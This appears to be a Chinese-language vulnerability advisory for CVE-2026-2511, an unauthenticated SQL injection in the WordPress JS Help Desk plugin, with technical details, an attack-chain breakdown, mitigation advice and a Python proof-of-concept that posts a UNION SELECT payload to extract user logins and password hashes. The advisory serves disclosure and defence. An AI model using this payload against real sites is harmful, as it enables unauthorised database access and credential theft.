CVE-2026-2511 CVSS 7.5 高危

CVE-2026-2511: JS Help Desk插件SQL注入

披露日期: 2026-03-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2511

漏洞类型

SQL注入

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

JS Help Desk – AI-Powered Support & Ticketing System

漏洞概述

WordPress的“JS Help Desk”插件在3.0.4及之前的版本中存在SQL注入漏洞。漏洞源于`storeTickets()`函数在处理`multiformid`参数时，虽然使用了`esc_sql()`进行转义，但未在SQL查询中使用引号包裹变量，导致转义失效。未经身份验证的攻击者可利用此漏洞提取敏感数据库信息。

技术细节

该漏洞技术核心在于WordPress的`esc_sql()`函数仅在变量被引号包裹时才能有效防御SQL注入。在受影响版本的`model.php`文件中，`storeTickets()`函数直接将用户可控的`multiformid`拼接到SQL语句中。由于缺乏引号包裹，攻击者可以提交不包含单引号的恶意整数或布尔逻辑 payload（如 `1 OR 1=1` 或 `1 UNION SELECT...`）。这些 payload 在经过`esc_sql()`处理后仍保持语法有效性，从而允许攻击者在未授权的情况下通过构造特殊的HTTP请求，向原有查询追加额外的SQL命令，进而读取数据库中的用户哈希、配置信息等敏感数据。

攻击链分析

STEP 1

侦察

攻击者识别目标网站是否安装了"JS Help Desk"插件，并确认其版本在3.0.4及以下。

STEP 2

武器化

攻击者构造特定的SQL注入Payload，利用`multiformid`参数未使用引号包裹的特点，设计不包含单引号的恶意SQL语句（如UNION SELECT查询）。

STEP 3

交付

攻击者向目标服务器发送包含恶意`multiformid`参数的POST请求（通常发送给处理Ticket存储的接口）。

STEP 4

利用

服务器端`storeTickets()`函数接收参数，经`esc_sql()`处理后直接拼接到SQL查询并执行数据库操作。

STEP 5

泄密

数据库执行注入的恶意查询，将敏感数据（如管理员账号密码哈希）包含在响应中返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload exploiting the lack of quotes in SQL query
# Using integer-based injection to bypass esc_sql()
payload = "1 UNION SELECT 1, user_login, user_pass FROM wp_users-- -"

data = {
    "action": "storeTickets", # The vulnerable action/function
    "multiformid": payload     # The vulnerable parameter
}

try:
    response = requests.post(target_url, data=data)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

JS Help Desk <= 3.0.4

防御指南

临时缓解措施

建议立即检查并更新JS Help Desk插件。若无法立即更新，应临时禁用该插件或通过WAF（Web应用防火墙）规则拦截针对`multiformid`参数的恶意请求，特别是包含SQL关键字（如UNION, SELECT）的流量。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表